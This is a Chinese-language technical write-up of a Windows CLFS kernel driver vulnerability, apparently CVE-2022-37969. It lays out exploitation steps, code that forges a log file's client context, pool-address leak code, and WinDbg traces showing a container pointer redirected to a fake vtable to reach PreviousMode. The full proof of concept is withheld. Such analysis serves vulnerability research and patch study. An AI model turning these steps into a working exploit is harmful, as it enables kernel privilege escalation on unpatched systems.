这里pcontainer指针总是一0x10字节对齐的,所以我们无法预估pcontainer+20和+30的检测点字段可能会出现在什么位置,走到CClfsContainer::Close里面和之前的一样函数利用的话就会因为要关闭的句柄不是合法的出错,一种可行的方案是DeleteLogByHandle或者原文的NtSetInformationFile->FileDispositionInformation方式将file->clientshuwdown_15c设为0x10这样就会走到上方伪代码的第一个if入口在里面直接调用container的虚表函数,从而绕过了CClfsContainer::Close检查.这里有个限制DeleteLogByHandle会对CreateLogFile的参数进行检查只要赋予所有读写权限GENERIC_ALL即可绕过这个检查.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
__int64 __fastcall ClfsDeleteLogByPointer(struct _FILE_OBJECT
*
a1)
{
hr
=
CClfsLogCcb::CheckAccess(v8,
4
);
{
if
( a2 &
1
&& !this
-
>field_fileobj_48
-
>ReadAccess
|| a2 &
2
&& !this
-
>field_fileobj_48
-
>WriteAccess
|| a2 &
4
&& !this
-
>field_fileobj_48
-
>DeleteAccess )
{
hr
=
-
1073741790
;
}
}
if
( hr
=
=
0
)
{
if
( !CClfsLogFcbCommon::IsReadOnly(v5) )
{
file
-
>clientshuwdown_15c
=
v10 |
0x10
;
}
}
}
|
原文的利用方式比较麻烦,我先来阐述下具体利用步骤.
1.创建主blf文件通过CreateLogFile并关闭文件
2.创建一大堆的blf文件,通过查询BigPoolInformation确保最后申请的2个blf文件的MetadataBlock相隔距离正好为0x11000字节,并关闭最后申请的2个blf文件
3.篡改主blf文件MetaBlockScratch内容为以下代码,包括构造FAKE_CLIENT_CONTEXT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
PCLFS_LOG_BLOCK_HEADER hd
=
(PCLFS_LOG_BLOCK_HEADER)(pFileBuff
+
0x800
);
hd
-
>SignaturesOffset
=
0x50
;
ULONGLONG base_record_ptr
=
(ULONGLONG)hd
+
hd
-
>RecordOffsets[
0
];
PCLFS_BASE_RECORD_HEADER base_record
=
PCLFS_BASE_RECORD_HEADER(base_record_ptr);
base_record
-
>cbSymbolZone
=
0x11000
+
0x15b
;
base_record
-
>rgClients[
0
]
=
ClientOffset;
PCLFS_CLIENT_CONTEXT fakectx
=
(PCLFS_CLIENT_CONTEXT)(base_record_ptr
+
ClientOffset);
PCLFSHASHSYM fakesym
=
(PCLFSHASHSYM)(base_record_ptr
+
ClientOffset
-
sizeof(CLFSHASHSYM));
fakesym
-
>cbSymName
=
ClientOffset
+
sizeof(CLFS_CLIENT_CONTEXT);
fakesym
-
>cbOffset
=
ClientOffset;
fakectx
-
>cidNode.cType
=
0xC1FDF007
;
fakectx
-
>cidNode.cbNode
=
sizeof(CLFS_CLIENT_CONTEXT);
fakectx
-
>cidClient
=
0
;
fakectx
-
>Reserved1
=
0
;
fakectx
-
>fAttributes
=
0x0100
;
fakectx
-
>eState
=
CLFS_LOG_SHUTDOWN;
|
4.重新打开修改后主blf文件通过CreateLogFile
5.创建副blf文件通过CreateLogFile
6.对副blf文件调用DeleteLogByHandle或者原文的NtSetInformationFile->FileDispositionInformation切换析构模式
7.对副blf文件添加容器通过AddContainer
8.对主blf文件添加容器通过AddContainer
9.关闭所有句柄触发漏洞
CLFS的元数据块总数默认为6个也就是如下的元数据类型,对于不是这个常量的元数据数量可以产生漏洞详见论坛分析,在ReadImage先读取第一个ClfsMetaBlockControl元数据块,该块默认大小为400不能任意更改,读取后获取控制块中的所有元数据块配置数组,根据元数据块配置CLFS_METADATA_BLOCK读取和它之后的影子块保存在pbImage字段中,这个字段仅内核模式可见不写入文件中
1
2
3
4
5
6
7
8
9
|
typedef enum _CLFS_METADATA_BLOCK_TYPE
{
ClfsMetaBlockControl,
ClfsMetaBlockControlShadow,
ClfsMetaBlockGeneral,
ClfsMetaBlockGeneralShadow,
ClfsMetaBlockScratch,
ClfsMetaBlockScratchShadow
} CLFS_METADATA_BLOCK_TYPE,
*
PCLFS_METADATA_BLOCK_TYPE;
|
数据块类型 | 元数据块类型 | 描述 |
---|---|---|
Control Record | Control Metadata Block | 包含了有关布局(layout)、扩展(extend)区域以及截断(truncate)区域的信息 |
Base Record | General Metadata Block | 包含了符号表信息,其中包括该BLF有关的客户端、容器和安全上下文信息 |
Truncate Record | Scratch Metadata Block | 包含了因为截断操作而需要对扇区进行更改的客户端信息,以及具体更改的扇区字节. |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
/
/
一次读取元数据块和它的影子块
signed __int64 __fastcall CClfsBaseFile::AcquireMetadataBlock(CClfsBaseFilePersisted
*
this, __int64 idx, __int64 a3, __int64 a4)
{
int
cbimg
=
file
-
>field_rgBlocks_30[idx].cbImage;
LPVOID MetadataBlockPtr
=
(struct _CLFS_LOG_BLOCK_HEADER
*
)ExAllocatePoolWithTag(PagedPoolCacheAligned, cbimg,
'sflC'
);
that
-
>field_rgBlocks_30[idx].pbImage
=
MetadataBlockPtr;
CClfsBaseFilePersisted::ReadMetadataBlock(MetadataBlockPtr,idx,...)
CLFS_METADATA_BLOCK_TYPE shadowblocktype
=
(unsigned
int
)(idx
+
1
);
hr
=
ClfsBaseFilePersisted::ReadMetadataBlock( that, shadowblocktype,...);
}
}
__int64 __fastcall CClfsBaseFilePersisted::ReadImage(CClfsBaseFilePersisted
*
this, struct _CLFS_CONTROL_RECORD
*
*
a2)
{
/
/
获取第一个元数据
hr
=
CClfsBaseFile::GetControlRecord(
file
, ctrlrcd, v10, v11);{
result
=
CClfsBaseFile::AcquireMetadataBlock(this, ClfsMetaBlockControl, a3, a4);
MetadataBlockPtr
=
that
-
>field_rgBlocks_30[
0
];
RecordOffset
=
MetadataBlockPtr
-
>pbImage
-
>RecordOffsets[
0
];
ctrlrcd
=
(_CLFS_CONTROL_RECORD
*
)(&MetadataBlockPtr
-
>pbImage
-
>MajorVersion
+
RecordOffset);
}
mapptr
=
(__int64)
file
-
>field_rgBlocks_30
-
>pbImage;
for
( i
=
0i64
; (unsigned
int
)i < (unsigned __int16)
file
-
>field_cblock_28; i
=
(unsigned
int
)(i
+
1
) )
{
*
(_OWORD
*
)&mapptrRef[idx].pbImage
=
*
(_OWORD
*
)&(
*
ctrlrcd)
-
>rgBlocks[(unsigned
int
)i].pbImage;
*
(_QWORD
*
)&mapptrRef[idx].eBlockType
=
*
(_QWORD
*
)&ctrlrcdRef
-
>rgBlocks[(unsigned
int
)i].eBlockType;
}
/
/
获取主元数据
hr
=
CClfsBaseFile::AcquireMetadataBlock(
file
, ClfsMetaBlockGeneral, i, mapptr);
}
|
对于打开和创建的blf文件,在之后内存池空间没有被占位的情况下,ClfsMetaBlockGeneral和下个blf文件的ClfsMetaBlockGeneral几个间隔块大小经调试得出的结构偏移是常量0x11000,微软为我们提供个一个用户态函数可以查询到SystemBigPoolInformation具体的堆地址和tag,代码如下.这个查询函数可以查询到完整的大块堆信息,只要在申请之前查询一次申请之后查询一次即可准确分析出当前元数据所在的内核堆地址.当申请占位的文件最后堆块两个间隔正好是0x11000时,关闭这个两个占位文件,那些接下来申请的两个主文件中的ClfsMetaBlockGeneral也会出现在这个位置.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
DWORD dwBufSize
=
1024
*
1024
;
DWORD dwOutSize
=
0
;
LPVOID pBuffer
=
LocalAlloc(LPTR, dwBufSize);
NTSTATUS hRes
=
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
_tprintf(_T(
"NtQuerySystemInformation ret with 0x%d %d %d\n"
), hRes, dwOutSize, GetLastError());
DWORD dwExpectedSize
=
0x7a00
;
ULONG_PTR StartAddress
=
(ULONG_PTR)pBuffer;
ULONG_PTR EndAddress
=
StartAddress
+
8
+
*
((PDWORD)StartAddress)
*
sizeof(BIG_POOL_INFO);
ULONG_PTR ptr
=
StartAddress
+
8
;
printf(
"[+] StartAddress is : 0x%llx,EndAddress is : 0x%llx\n"
, StartAddress, EndAddress);
while
(ptr < EndAddress)
{
PBIG_POOL_INFO info
=
(PBIG_POOL_INFO)ptr;
if
(info
-
>PoolTag
=
=
'sflC'
&& dwExpectedSize
=
=
info
-
>PoolSize)
{
ULONG_PTR FakeAddress
=
(((ULONG_PTR)info
-
>Address) &
0xfffffffffffffff0
);
printf(
"[+] Name:%s ,Size:%llx ,FakeAddress is : 0x%llx,\n"
, &info
-
>PoolTag, info
-
>PoolSize, FakeAddress);
}
ptr
+
=
sizeof(BIG_POOL_INFO);
}
|
也就是说将cbSymbolZone设置为偏移0x11000加上pcontainer指针在元素据块中的偏移就能清空下个blf文件pcontainer指针的高位部分,实现和上个漏洞相同的利用结果.但是这里有个限制需要绕过,也就是cbSymbolZone需要小于SignaturesOffset,为了绕过这个限制,原文采用了一个巧妙的方法也就是构造一个特定的CLIENT_CONTEXT,在打开blf文件时如果在CClfsLogFcbPhysical::Initialize判断eState = CLFS_LOG_SHUTDOWN就会进入就会调用ClfsLogFcbPhysical::ResetLog
1
2
3
4
5
6
7
8
|
__int64 __fastcall CClfsLogFcbPhysical::ResetLog(CClfsLogFcbPhysical
*
this)
{
this
-
>field_lsnrestart_1f0
=
CLFS_LSN_INVALID;
struct _CLFS_CLIENT_CONTEXT
*
cltctx;
/
/
rcx
CClfsBaseFile::AcquireClientContext(this
-
>field_BaseFilePersisted_2A8,
0
, &ctnctx);
/
/
ctx
+
58
最后就会写入ignatureOffset
=
68
加上
2
高位部分
cltctx
-
>lsnRestart_58.ullOffset
=
that
-
>field_lsnrestart_1f0;
}
|
CLIENT_CONTEXT这里lsnRestart_58所在元数据位置正好是第4个Signatures要写入的位置,被替换成了CLFS_LSN_INVALID也就是FFFFFFFF00000000重叠部分正好是FFFFFFFF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
__int64 __fastcall ClfsEncodeBlockPrivate(_CLFS_LOG_BLOCK_HEADER
*
hdr, unsigned
int
TotalSectorCount, char a3, unsigned __int8 a4)
{
do
{
/
/
SignaturesOffsetAddr
=
(ULONGLONG)that
+
that
-
>SignaturesOffset;
SignaturesOffsetAddr
+
=
2i64
;
flag1
=
0x20
;
flag2
=
0x40
;
if
( thisref
-
>TotalSectorCount
-
1
!
=
Sectoridx )
flag1
=
0
;
if
( Sectoridx )
flag2
=
0
;
flagall
=
flag2 | flag1;
sectorbase
=
Sectoridx <<
9
;
LOBYTE(flagsig)
=
val10 | flagall;
+
+
Sectoridx;
/
/
signature array是个数组会和SignaturesOffset相交如果SignaturesOffset
=
0x50
*
(_WORD
*
)(SignaturesOffsetAddr
-
2
)
=
*
(USHORT
*
)((char
*
)&thisref
-
>sig_1fe
+
sectorbase);
*
(USHORT
*
)((char
*
)&thisref
-
>sig_1fe
+
(unsigned
int
)sectorbase)
=
flagsig
}
while
( Sectoridx < SectorCount );
}
|
CVE-2021-24521只是修复了Signatures与符号表相交的情况,并没有限制SignaturesOffset可以与自身的偏移量0x68重叠的情况,这里将SignaturesOffset设置为0x50那么第4个Signatures所在位置0x19FE(0xC*0x200+0x1FE)就会写入SignaturesOffset在文件中的偏移量68加上2的高16位也就是FFFF刚才提到的重叠部分的数据,这个利用方式很巧妙笔者还未发现被微软完全修复.SignaturesOffset被替换后的值变成了0xFFFF0050,从而绕过了cbSymbolZone限制使其可以越界清空下个堆块数据.
但是这种利用方式比较复杂,需要精确控制堆申请的偏移量,实际环境利用难度过高,其实还有一个更简单的利用方式,这种方式不需要清空下个堆块的pcontainer指针而是清空自己文件的指针,同样可以实现利用,实现方法只需要设置cbSymbolZone等于本文件的pcontainer指针偏移量+3就可以了,最后利用的效果是一样的.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
|
1
: kd> bp clfs!CClfsLogFcbPhysical::ResetLog
2
: kd> r
rax
=
0000000000000000
rbx
=
ffff8c038124e000 rcx
=
ffff8c0380cec000
rdx
=
0000000000000000
rsi
=
0000000073666c43
rdi
=
0000000000000200
rip
=
fffff8032ce014d5 rsp
=
ffff9c034e2290c0 rbp
=
ffff9c034e229760
r8
=
ffff9c034e229100 r9
=
ffffa2829d668070 r10
=
0000000000000000
r11
=
ffffa2829d668000 r12
=
0000000000000000
r13
=
ffff8c037fe37ad0
r14
=
ffff8c038124e000 r15
=
0000000000000000
iopl
=
0
nv up ei pl zr na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040246
CLFS!CClfsLogFcbPhysical::ResetLog
+
0x91
:
fffff803`
2ce014d5
e8cae10100 call CLFS!CClfsBaseFile::AcquireClientContext (fffff803`
2ce1f6a4
)
/
/
对 cltctx
-
>lsnRestart字段下硬件断点
2
: kd> ba r8 poi(ffff9c034e229100)
+
58
2
: kd> g
Breakpoint
3
hit
CLFS!ClfsEncodeBlockPrivate
+
0xe9
:
fffff803`
2cdf8149
66418943fe
mov word ptr [r11
-
2
],ax
2
: kd> r
rax
=
000000000000ffff
rbx
=
0000000000000010
rcx
=
0000000000001a00
rdx
=
000000000000000e
rsi
=
0000000000007a00
rdi
=
000000000000003d
rip
=
fffff8032cdf8149 rsp
=
ffff9c034e228f70 rbp
=
0000000000000000
r8
=
ffff9c034e228f90 r9
=
0000000000000002
r10
=
ffffa2829d668000
r11
=
ffffa2829d66806c r12
=
0000000000000001
r13
=
0000000000000002
r14
=
ffffa2829d668000 r15
=
0000000000000001
iopl
=
0
nv up ei pl nz na pe nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040202
/
/
r11
-
2
正好是SignatureOffset
=
68
加上
2
高位部分
2
: kd> dc ffffa2829d668068
ffffa282`
9d668068
00000050
00000000
00000002
00000000
P...............
ffffa282`
9d668078
e2c8dc5c
11ed7dcb
dfc0c3af
96701a04
\....}........p.
2
: kd> p
CLFS!ClfsEncodeBlockPrivate
+
0xee
:
fffff803`
2cdf814e
0fb7442440
movzx eax,word ptr [rsp
+
40h
]
/
/
SignatureOffset已经变成了ffff0050
2
: kd> dc ffffa2829d668068
ffffa282`
9d668068
ffff0050
00000000
00000002
00000000
P...............
/
/
继续对SignatureOffset字段下硬件断点
2
: kd> ba r8 ffffa282`
9d668068
/
/
跳过
2
个CLFS!CClfsBaseFilePersisted::AddContainer来到这里
0
: kd> p
0
: kd> r
rax
=
000000000001120b
rbx
=
ffffa2829d67a503 rcx
=
ffffa2829d67a503
rdx
=
0000000000000000
rsi
=
ffff9c034e229460 rdi
=
ffffa2829d668070
rip
=
fffff8032ce30207 rsp
=
ffff9c034e229410 rbp
=
00000000000000b0
r8
=
00000000000000b0
r9
=
00000000fffffff8
r10
=
fffff8032d5f08b0
r11
=
3333333333333333
r12
=
0000000000000060
r13
=
ffff9c034e2296d8
CLFS!CClfsBaseFilePersisted::AllocSymbol
+
0x67
:
fffff803`
2ce30207
e874c8fcff call CLFS!memset (fffff803`
2cdfca80
)
/
/
清零之前pcontainer指针的原始值
0
: kd> dq ffffa2829d67a500
ffffa282`
9d67a500
ffffa282`
9e58a3c0
00000002
`
00000001
ffffa282`
9d67a510
00000000
`
00000000
005c003f
`
003f005c
/
/
可以看到指向源虚表
5
: kd> dps ffffa282`
9e58a3c0
ffffa282`
9e58a3c0
fffff803`
2ce035f0
CLFS!CClfsContainer::`vftable'
ffffa282`
9e58a3c8
00000000
`
00080000
/
/
继续走
0
: kd> p
CLFS!CClfsBaseFilePersisted::AllocSymbol
+
0x6c
:
fffff803`
2ce3020c
01af28130000
add dword ptr [rdi
+
1328h
],ebp
/
/
pcontainer指针高位已经没有了
0
: kd> dq ffffa2829d67a500
ffffa282`
9d67a500
00000000
`
0058a3c0
00000000
`
00000000
ffffa282`
9d67a510
00000000
`
00000000
00000000
`
00000000
0
: kd> dq
00000000
`
0058a3c0
,
/
/
ffff8c03`
80bf42aa
是ThreadPreMode地址
00000000
`
0058a3c0
00000000
`ffff0000 ffff8c03`
80bf42aa
00000000
`
0058a3d0
00000000
`ffff0000 ffff8c03`
80bf42aa
0
: kd> dq
00000000
`ffff0000
00000000
`ffff0000
00000000
`
12345678
fffff803`
2d5f4da0
00000000
`ffff0010
00000000
`
00000000
fffff803`
2ce01cb0
/
/
变成了我们伪造的虚表
0
: kd> dps
00000000
`ffff0000
00000000
`ffff0000
00000000
`
12345678
00000000
`ffff0008 fffff803`
2d5f4da0
nt!SeSetAccessStateGenericMapping
00000000
`ffff0010
00000000
`
00000000
00000000
`ffff0018 fffff803`
2ce01cb0
CLFS!ClfsEarlierLsn
/
/
最后验证下我们的利用结果
2
: kd> r
rax
=
fffff8032ce01cb0 rbx
=
0000000000000000
rcx
=
000000000058a3c0
rdx
=
0000000000000000
rsi
=
ffff8c0380bb9000 rdi
=
000000000058a3c0
rip
=
fffff8032ce16efc rsp
=
ffff9c034e2295e0 rbp
=
0000000000000400
r8
=
ffff9c034e2295b0 r9
=
0000000000000000
r10
=
0000000000000000
r11
=
ffff9c034e229570 r12
=
0000000000000000
r13
=
0000000000000001
r14
=
0000000000001400
r15
=
ffffa2829d67a4e8
iopl
=
0
nv up ei pl zr na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040246
CLFS!CClfsBaseFilePersisted::RemoveContainer
+
0x14c
:
fffff803`
2ce16efc
ff15ced6ffff call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff803`
2ce145d0
)] ds:
002b
:fffff803`
2ce145d0
=
{CLFS!guard_dispatch_icall_nop (fffff803`
2cdfc780
)}
2
: kd> k
# Child-SP RetAddr Call Site
00
ffff9c03`
4e2295e0
fffff803`
2cdf120b
CLFS!CClfsBaseFilePersisted::RemoveContainer
+
0x14c
01
ffff9c03`
4e229640
fffff803`
2cdf8b0f
CLFS!CClfsLogFcbPhysical::DeleteBaseFileAndContainers
+
0xf3
02
ffff9c03`
4e229690
fffff803`
2cdf8761
CLFS!CClfsLogFcbPhysical::Finalize
+
0x39b
03
ffff9c03`
4e2296c0
fffff803`
2ce1df42
CLFS!CClfsLogFcbPhysical::Release
+
0xb1
04
ffff9c03`
4e229720
fffff803`
2ce20878
CLFS!CClfsRequest::Close
+
0xd6
05
ffff9c03`
4e229770
fffff803`
2ce20747
CLFS!ClfsDispatchIoRequest
+
0x108
06
ffff9c03`
4e2297c0
fffff803`
2d2adac5
CLFS!CClfsDriver::LogIoDispatch
+
0x27
07
ffff9c03`
4e2297f0
fffff803`
2d5f288f
nt!IofCallDriver
+
0x55
08
ffff9c03`
4e229830
fffff803`
2d61baf0
nt!IopDeleteFile
+
0x14f
09
ffff9c03`
4e2298b0
fffff803`
2d2b01a7
nt!ObpRemoveObjectRoutine
+
0x80
0a
ffff9c03`
4e229910
fffff803`
2d624449
nt!ObfDereferenceObjectWithTag
+
0xc7
0b
ffff9c03`
4e229950
fffff803`
2d62827c
nt!ObCloseHandleTableEntry
+
0x6c9
0c
ffff9c03`
4e229a90
fffff803`
2d40c2b5
nt!NtClose
+
0xec
0d
ffff9c03`
4e229b00
00007ff9
`
67b0d124
nt!KiSystemServiceCopyEnd
+
0x25
0e
0000006c
`
0e6fdf18
00007ff9
`
6528a405
ntdll!NtClose
+
0x14
0f
0000006c
`
0e6fdf20
00000000
`
00000000
0x00007ff9
`
6528a405
2
: kd> ln rax
Browse module
Set
bu breakpoint
(fffff803`
2ce01cb0
) CLFS!ClfsEarlierLsn | (fffff803`
2ce01d00
) CLFS!ClfsLaterLsn
|
CVE-2021-24521补丁添加了Container和ClientContext对cbSymbolZone的越界验证,从而修复了所有的符号表相交和覆写问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
signed __int64 __fastcall CClfsBaseFile::ValidateOffsets(CClfsBaseFile
*
this, struct _CLFS_BASE_RECORD_HEADER
*
const a2)
{
hr
=
CClfsBaseFile::ValidateContainerContextOffsets(v3, v7, v2);
if
( hr <
0
|| (hr
=
CClfsBaseFile::ValidateClientContextOffsets(v3, v7, v2), hr <
0
)
|| (hr
=
CClfsBaseFile::ValidateContainerSymTblOffsets(v3, v7, v2), hr <
0
)
|| (hr
=
CClfsBaseFile::ValidateClientSymTblOffsets(v3, v7, v2), hr <
0
) )
{
return
error;
}
signed __int64 __fastcall CClfsBaseFile::ValidateCheckifWithinSymbolZone(CClfsBaseFile
*
this, unsigned
int
offset, struct _CLFS_BASE_RECORD_HEADER
*
hdr)
{
if
( offset <
0x1338
|| offset
-
0x1338
> hdr
-
>cbSymbolZone )
return
=
0xC01A000Di64
;
else
return
=
0i64
;
}
|
出于安全原因笔者不能提供完整的poc代码,下图是笔者在打了8月补丁的Windows1021h2虚拟机上成功复现了CVE-2022-37969
作者来自ZheJiang Guoli Security Technology,邮箱cbwang505@hotmail.com
更多【年终CLFS漏洞汇总分析】相关视频教程:www.yxfzedu.com